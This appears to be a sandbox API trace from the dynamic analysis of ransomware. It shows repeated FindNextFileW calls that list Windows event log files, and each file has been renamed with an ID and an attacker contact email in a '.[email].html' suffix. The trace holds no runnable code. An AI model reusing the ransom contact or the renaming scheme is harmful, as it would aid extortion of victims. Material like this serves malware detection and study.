	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d05ab7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87d05ab7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d05ab7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIBE83~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d2bc3a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87d2bc3a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d2bc3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIBE7E~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88397fa9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88397fa9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88515814, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11164, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI0157~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880bf5ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880bf5ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x880bf5ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI8C1D~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880e580e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880e580e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x880e580e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIAAF0~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880e580e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880e580e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88397fa9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC337~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88515814, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88515814, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8853ba4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI4F1D~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8853ba4a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8853ba4a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI91AD~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88561c6d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88561c6d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101180, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIB220~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885d44ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x885d44ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885d44ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE40D~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885fa707, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x885fa707, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885fa707, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA461~1.HTM")) returned 1
	[0167.948] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8866cd56, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8866cd56, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8866cd56, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9BF9~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869302a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8869302a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8869302a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI3D1F~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869302a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8869302a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886b92ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI88F3~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8891b871, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8891b871, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1115a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA288~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b0c34e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88b0c34e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88b0c34e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5B16~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b0c34e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88b0c34e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88b31851, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIFEC2~1.HTM")) returned 1
	[0167.949] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c88ea8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88c88ea8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x891277b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2916~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89173cf5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89173cf5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8919a26a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI27D2~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8919a26a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8919a26a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89507423, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE37E~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892a529d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x892a529d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x892a529d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE1AC~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892da45e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x892da45e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x898022f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6282~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893689b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893689b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89389cbe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID999~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89389cbe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89389cbe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x898022f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9980~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b00af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893b00af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x893b00af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI4E34~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893dd05e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893dd05e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x893fc357, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5583~1.HTM")) returned 1
	[0167.950] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8978fb96, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8978fb96, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897b601a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2AD0~1.HTM")) returned 1
	[0167.951] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899cbf7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x899cbf7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89c60725, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9686~1.HTM")) returned 1
	[0167.951] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x897b601a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x897b601a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897b601a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICBA4~1.HTM")) returned 1
	[0167.951] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x897dc0b9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x897dc0b9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897dc0b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11126, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE520~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c7ab1d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89c7ab1d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89c7ab1d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIEBD2~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ca0d27, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ca0d27, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89ca0d27, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11134, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI48FC~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ca0d27, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ca0d27, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89fe7fe5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI797B~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89cc72a2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89cc72a2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89cc72a2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11134, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIEA0A~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ced10c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ced10c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89ced10c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11124, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIF76E~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d132f0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d132f0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89d132f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11178, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE0B9~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3c164, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d3c164, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0cce58, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6BF4~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d5f990, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d5f990, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89d5f990, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11164, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI8C11~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d85a3c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d85a3c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6c882c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIED48~1.HTM")) returned 1
	[0167.952] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a00e2a8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a00e2a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a034448, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE4B6~1.HTM")) returned 1
